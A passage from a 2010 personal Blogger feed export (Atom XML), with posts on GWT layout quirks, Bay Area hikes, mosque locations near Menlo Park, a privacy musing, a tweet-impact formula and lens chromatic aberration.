but a&lt;a href="http://code.google.com/webtoolkit/doc/latest/DevGuideUiPanels.html"&gt;cts weirdly&lt;/a&gt; when you want to set a variable (percentage value) especially in the standard mode. After a lot of trail-and-error, I changed most of my outer layout panels to FlowPanels to get the scalable width working.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5520897196781527116?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5520897196781527116/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5520897196781527116' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5520897196781527116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5520897196781527116'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/10/gwt.html' title='GWT'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5098775301023920148</id><published>2010-09-21T17:13:00.002-04:00</published><updated>2010-09-21T17:20:47.264-04:00</updated><title type='text'>Where do good ideas come from?</title><content type='html'>The key message from Steven is that ideas come from collaboration. Collaborations/discussions do create Eureka moments, but IMO a good amount of time spent alone can also create Eureka moments..I think the key is the passion to connect the dots.&lt;br /&gt; &lt;br /&gt;&lt;object width="446" height="326"&gt;&lt;param name="movie" value="http://video.ted.com/assets/player/swf/EmbedPlayer.swf"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;param name="bgColor" value="#ffffff"&gt;&lt;/param&gt; &lt;param name="flashvars" value="vu=http://video.ted.com/talks/dynamic/StevenJohnson_2010G-medium.flv&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/StevenJohnson-2010G.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=961&amp;introDuration=15330&amp;adDuration=4000&amp;postAdDuration=830&amp;adKeys=talk=steven_johnson_where_good_ideas_come_from;year=2010;theme=how_the_mind_works;theme=unconventional_explanations;theme=the_rise_of_collaboration;theme=tales_of_invention;event=TEDGlobal+2010;&amp;preAdTag=tconf.ted/embed;tile=1;sz=512x288;" /&gt;&lt;embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" pluginspace="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" bgColor="#ffffff" width="446" height="326" allowFullScreen="true" allowScriptAccess="always" flashvars="vu=http://video.ted.com/talks/dynamic/StevenJohnson_2010G-medium.flv&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/StevenJohnson-2010G.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=961&amp;introDuration=15330&amp;adDuration=4000&amp;postAdDuration=830&amp;adKeys=talk=steven_johnson_where_good_ideas_come_from;year=2010;theme=how_the_mind_works;theme=unconventional_explanations;theme=the_rise_of_collaboration;theme=tales_of_invention;event=TEDGlobal+2010;"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5098775301023920148?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5098775301023920148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5098775301023920148' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5098775301023920148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5098775301023920148'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/09/where-do-good-ideas-come-from.html' title='Where do good ideas come from?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8742364863942416736</id><published>2010-07-10T13:29:00.003-04:00</published><updated>2010-07-10T13:37:22.873-04:00</updated><title type='text'>Research and camera lenses</title><content type='html'>There is a resemblance between the way we do research and the camera lenses. I am just trying to tie them together :)&lt;br /&gt;&lt;br /&gt;Macro lens - Go deep into the details&lt;br /&gt;Telephoto lens - Foresee the trends that drive the technology and demand new technology/solutions&lt;br /&gt;Wide angle lens - Get the big picture&lt;br /&gt;Prime lens - Focus on a topic&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8742364863942416736?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8742364863942416736/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8742364863942416736' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8742364863942416736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8742364863942416736'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/07/research-and-camera-lenses.html' title='Research and camera lenses'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-441396139585881229</id><published>2010-07-10T09:30:00.004-04:00</published><updated>2010-07-15T18:40:45.931-04:00</updated><title type='text'>Where to go to Friday Jummah prayers in Menlo Park?</title><content type='html'>As I am working in Menlo park during this summer, I had to find a new place to go to Friday Jummah (congregational) prayers. Menlo park itself does not have a mosque and there are hardly any Muslims around the area. Fortunately, I found two options which worked out for me. I take 2 - 3 hours off every Friday to make it to the prayers. It's good to get away from the busy life for at least a few hours and be with the community every week.&lt;br /&gt;&lt;br /&gt;Option1:&lt;br /&gt;&lt;a href="http://issu1.stanford.edu/"&gt;Islamic Society of Stanford University&lt;/a&gt; holds a Friday prayer starting at 12.15 pm (till 1.10 pm). This one is the closest to Menlo park (about 2 miles away). It is managed by the students at Stanford. Stanford does not have a mosque though. (Good thing about Purdue, where I study, is that it has a mosque in the campus itself and there is a large Muslim crowd.) They hold the Friday prayers in the 3rd floor of the old Union building (However, they do have special wudu areas). You get about 50-60 people altogether.  Where to park your car? There is a paid parking lot at the &lt;a href="http://maps.google.com/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=intersection+mayfield+drive,+lagunita+drive,+stanford,+ca&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=32.610437,79.013672&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Mayfield+Ave+%26+Lagunita+Dr,+Stanford,+Santa+Clara,+California+94305&amp;amp;z=16"&gt;intersection&lt;/a&gt; of Mayfield avenue and Lagunita drive. You can either use your credit card or use coins to pay. During May/June (where the Spring semester was still in progress), it was somewhat difficult to find a parking spot in that car park (You better go there about 1/2 an hour early). But now, being the summer, there is ample parking available in that lot.&lt;br /&gt;&lt;br /&gt;Option2:&lt;br /&gt;Muslim Community Association (MCA) mosque in Santa Clara (&lt;a href="http://www.yelp.com/biz/muslim-community-association-of-sf-bay-santa-clara"&gt;Yelp&lt;/a&gt;). It's about 15 miles (1/2 an drive) from Menlo park, but I very much like this place - it's a quite big mosque with a large gathering. If I have more time, I usually drive to this place instead of Stanford. They have two Jummah prayers one at 12.15 pm (I usually go to this one) and the other at 1.30 pm. In addition to the large prayer areas, the mosque has many other specialized rooms. Talking about parking, it does have a big parking lot, but it gets filled pretty quickly on Fridays - so you better go there a few minutes before if you want to park in the mosque itself. There is also a parking lot close to the mosque which you can use.&lt;br /&gt;&lt;br /&gt;Other useful links:&lt;br /&gt;&lt;a href="http://sbia.info/site/"&gt;South Bay Islamic Association&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.mcabayarea.org/"&gt;Muslim Community Association&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hope this information might be useful to those who are new to this area.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-441396139585881229?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/441396139585881229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=441396139585881229' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/441396139585881229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/441396139585881229'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/07/where-to-go-to-friday-jummah-prayers-in.html' title='Where to go to Friday Jummah prayers in Menlo Park?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4226283992634330967</id><published>2010-07-07T20:41:00.003-04:00</published><updated>2010-07-07T20:44:51.158-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>[Security/Privacy] Can we bridge the gap?</title><content type='html'>I was wondering how we may apply secure computing (e.g. &lt;a href="http://mohamednabeel.blogspot.com/2010/03/computation-over-encrypted-data-crypto.html"&gt;computation over  encrypted data&lt;/a&gt;) in real life scenarios where you have to interact with  real objects as opposed to bits and bytes. It seems to me quite  difficult, if not impossible, to achieve the same "invisibility" in the  physical world; the very nature of the tangibility makes it hard to do  so.&lt;br /&gt;&lt;br /&gt;Consider the example where I want to mail my digital photos to  Walgreens and get them printed. However, I want Walgreens to see  neither the photos nor the printed copies. You see the similar  privacy/security problems in getting something printed through a courier  service such as UPS. I am not aware of any technology that we could use  to solve this problem. One important thing is for the solution to be  economical for me (the service requester), the amount of work I need to  do (hence the cost) to recover the actual thing (actual photos from  printed copies) should be cheaper than the service I want (getting the  photos printed) in the long run. Otherwise, I might as well buy my own  printing machine and do the printing myself which will eliminate the  problem of privacy/security.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4226283992634330967?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4226283992634330967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4226283992634330967' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4226283992634330967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4226283992634330967'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/07/securityprivacy-can-we-bridge-gap.html' title='[Security/Privacy] Can we bridge the gap?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5778884499718741142</id><published>2010-07-06T10:25:00.004-04:00</published><updated>2010-07-12T04:08:32.343-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hiking nature photography'/><title type='text'>Driving/Hiking in the Big Basin Redwoods park</title><content type='html'>For the memorial day long weekend, I drove to the &lt;a href="http://www.parks.ca.gov/?page_id=540"&gt;Big Basin Redwoods&lt;/a&gt; state park. The drive around the park area was really nice as it is covered with big redwood trees. I spotted a few deer as well. The road is very curvy and narrow; at times you have only one lane - so you have to be careful when driving and enjoying the view around you.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4785466199/" title="Big Basin state park by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4097/4785466199_7ce254b42c.jpg" width="500" height="333" alt="Big Basin state park"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I parked the car in the park headquarters ($10 for parking, $5 for the map) and hiked about 10 miles. It was a good workout for me and the trails are spectacular and covered with large trees and a water stream flowing close by. Make sure to take the trail Skyline-To-The Sea Trail to &lt;a href="http://www.waterfallswest.com/waterfall.php?id=348"&gt;Berry Creek Falls&lt;/a&gt; to Sunset Trail if you want to see the beautiful waterfall. The total round-trip distance is about 10 miles. You'll need 6 to 8 hours to cover this particular route and enjoy the surrounding.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4785466393/" title="Big Basin state park by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4120/4785466393_71dc486891.jpg" width="500" height="333" alt="Big Basin state park"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It was a little hot and humid on that day. You better take a big bottle of water with you as you get dehydrated quickly there.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4785465947/" title="Big Basin state park by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4122/4785465947_c2f7209ba9.jpg" width="500" height="333" alt="Big Basin state park"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5778884499718741142?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5778884499718741142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5778884499718741142' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5778884499718741142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5778884499718741142'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/07/drivinghiking-in-big-basin-redwoods.html' title='Driving/Hiking in the Big Basin Redwoods park'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm5.static.flickr.com/4097/4785466199_7ce254b42c_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2216791190470558868</id><published>2010-07-06T10:23:00.003-04:00</published><updated>2010-07-12T04:10:33.063-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hiking photography landscape'/><title type='text'>Driving/Hiking around the Golden Gate Bridge</title><content type='html'>I recently visited the golden gate bridge and stopped at both north and south sides. One of the main stops in the north side is the &lt;a href="http://maps.google.com/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=vista+point,+ca,+usa&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=32.610437,79.013672&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Vista+Point,+Southwest+Marin,+Marin,+California&amp;amp;z=14"&gt;vista point&lt;/a&gt; which you find it immediately to the right after you cross the bridge from the south. You get a good view of the bridge from there. You'll also find the statue of the lonely traveler and a distant view of the Alcatraz prison island. The parking lot is somewhat small and you might have to wait a little bit to find a parking spot. There is also a side walk along the bridge.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4785435629/" title="Golden gate bridge by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4075/4785435629_0193a068ae.jpg" width="333" height="500" alt="Golden gate bridge"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From the side, you can drive/hike along the beach. We drove along &lt;a href="http://maps.google.com/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=marina+blvd,+ca,+usa&amp;amp;sll=37.831397,-122.47693&amp;amp;sspn=0.031726,0.077162&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Marina+Blvd,+San+Francisco,+California&amp;amp;z=15"&gt;Marina Blvd&lt;/a&gt; and Manson St (North East) and Lincoln Blvd (North West). If you want to take photos, it is better you go there in the morning or late in the afternoon close to sunset. In the afternoon, the sun directly falls on the bridge and it is hard to take any good photos.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4786068304/" title="Golden gate bridge by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4097/4786068304_c313eb322d.jpg" width="500" height="333" alt="Golden gate bridge"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2216791190470558868?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2216791190470558868/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2216791190470558868' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2216791190470558868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2216791190470558868'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/07/drivinghiking-around-golden-gate-bridge.html' title='Driving/Hiking around the Golden Gate Bridge'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm5.static.flickr.com/4075/4785435629_0193a068ae_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8594166634567314806</id><published>2010-06-30T21:30:00.003-04:00</published><updated>2010-06-30T21:35:53.288-04:00</updated><title type='text'>'The law of fishes'</title><content type='html'>This is what is happening everywhere!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tMhXppp4NpE/TCvwtMBRTyI/AAAAAAAACpQ/bh9GSGBu_FI/s1600/FoodChain3.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 320px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/TCvwtMBRTyI/AAAAAAAACpQ/bh9GSGBu_FI/s320/FoodChain3.jpg" alt="" id="BLOGGER_PHOTO_ID_5488745229992415010" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8594166634567314806?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8594166634567314806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8594166634567314806' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8594166634567314806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8594166634567314806'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/law-of-fishes.html' title='&apos;The law of fishes&apos;'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tMhXppp4NpE/TCvwtMBRTyI/AAAAAAAACpQ/bh9GSGBu_FI/s72-c/FoodChain3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5122020492865712990</id><published>2010-06-30T01:26:00.007-04:00</published><updated>2010-06-30T09:44:30.504-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thoughts fun'/><title type='text'>Impact of a tweet</title><content type='html'>I was just thinking about whether we can come up with a formula to measure the impact of a tweet just like we measure acceleration (v = u + at), force (f = ma), etc. in high-school Physics :-)&lt;br /&gt;&lt;br /&gt;The following looks to hold:&lt;br /&gt;&lt;br /&gt;impact ∝ ((rate of tweeting) * (quality of the tweets) * (number of followers) * (average frequency of checking tweets by followers)) / ((avg. number of people your followers follow) * (avg. rate of tweets your followers see))&lt;br /&gt;&lt;br /&gt;It is not so simple as I initially thought; Number of retweets, the @ tags or # tags also can have a very positive effect. And, rate of tweeting could have a negatively effect as well - for example, if you are a fast tweeter people may simply ignore your tweets as junks. Quality is also a very subjective term. Also the relationships could well be nonlinear.&lt;br /&gt;&lt;br /&gt;Another thing I was thinking about was how the rate at which information reaches us has evolved over time. 10 years ago, we used to rely mainly on the morning news paper, but now within minutes we have access to tweets and blogs to get our hands on the latest. So, how much is the acceleration of information? Roughly speaking, the acceleration ∝ (a day - a few minutes) / 10 years. The velocity at which information reaches us keeps on rising - I feel like the current velocity is already higher than our brain can 'run' - we are overloaded! We will need to add some 'friction' to slow it down :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5122020492865712990?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5122020492865712990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5122020492865712990' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5122020492865712990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5122020492865712990'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/impact-of-tweet.html' title='Impact of a tweet'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3141766320628647707</id><published>2010-06-20T07:53:00.005-04:00</published><updated>2010-07-12T04:32:03.655-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hiking nature photography'/><title type='text'>[Hiking] Muir Woods National Monument</title><content type='html'>I along with a friend drove from Palo Alto to Muir Woods which is located 11 miles from the Golden Gate bridge. The designated parking lot is quite small and we were not able to park there. (We reached there around 10 am) But there is plenty of road side parking if you drive a few minutes pass the parking lot.&lt;br /&gt;&lt;br /&gt;Muir Woods has over 6 miles of &lt;a href="http://www.nps.gov/goga/planyourvisit/upload/map-muwo-2.pdf"&gt;hiking trails&lt;/a&gt; (pay just $1 and get the hiking map - it's very useful if you are not a frequent hiker in Muir Woods). It was one of the best hiking I have ever done - you get to walk along giant red wood trees with voices of nature, the less hiked trails give this clam and peaceful feeling to you. I would definitely go back again there when I get a chance. It is not an exaggeration to say that you sometimes get the Pandora feeling in the Avatar movie.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4785462855/" title="Muir Woods state pare by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4082/4785462855_5a0aacbde4.jpg" width="333" height="500" alt="Muir Woods state pare"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The temperature was around 60-70 F. I took my jacket with me in case it is cold inside the wood, but I did not have to use it. Make sure you take a bottle of water with you if you plan to do a longer trail - we hiked for about 3 hours - but you need a full day or more to cover all the trails.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4785462405/" title="Muir Woods state pare by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4123/4785462405_1af8207681.jpg" width="500" height="333" alt="Muir Woods state pare"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Talking about the trails, there is one main trail which is flat and even wheel-chair accessible; most people walk along this - so it is somewhat crowded. Other trails are either longer or with some rough paths and slopes (medium to difficult). They are not hiked by many people and you get to experience a calm and peaceful environment. We hiked along Fern creek trail, Camp East Wood trail and Hill Side trail - all I would say are of easy to medium difficulty. Most of the time we were hiking along a path with a small water stream flowing next to the trail.  There are several other longer trails which we did not have time to cover - Lost trail, Ocean view trail, Redwood trail and Coastal view trail are some of them.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nabeel_yoosuf/4785462203/" title="Muir Woods state pare by nabeel_yoosuf, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4102/4785462203_5e31a04307.jpg" width="500" height="333" alt="Muir Woods state pare"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you are visiting the bay area and a nature lover, I would definitely recommend this place.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3141766320628647707?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3141766320628647707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3141766320628647707' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3141766320628647707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3141766320628647707'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/06/hiking-muir-woods-national-monument.html' title='[Hiking] Muir Woods National Monument'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm5.static.flickr.com/4082/4785462855_5a0aacbde4_t.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-335133312253555028</id><published>2010-06-19T02:13:00.008-04:00</published><updated>2010-06-19T03:42:20.316-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photography canon sigma uwa 10-20mm'/><title type='text'>[Photography] Testing the chromatic aberration in Sigma 10-20mm F4.0-5.6</title><content type='html'>In reviews, it is said that Sigma 10-20 F4.0-5.6 (UWA - Ultra Wide Angle lens) has a low chromatic aberration (CA) (which is a good thing for people like me as I mainly do landscape photography), but I noticed that the aberration varies by quite a margin with different F (DoF - Depth of Field) values.&lt;br /&gt;&lt;br /&gt;First some background info:&lt;br /&gt;Chromatic aberration is a kind of distortion where the lens fails to focus all component waves of the white light to a single focal point. The white light consists of component waves of color red, green, yellow, blue and violate (in their increasing order of frequencies). The refractive index of lens glass varies with the wavelength; shorter waves bends more than the longer ones. See the following diagram:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/TBxqJv2g4bI/AAAAAAAACoc/czYAfRqcy2U/s1600/ChromaticAberration.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 214px;" 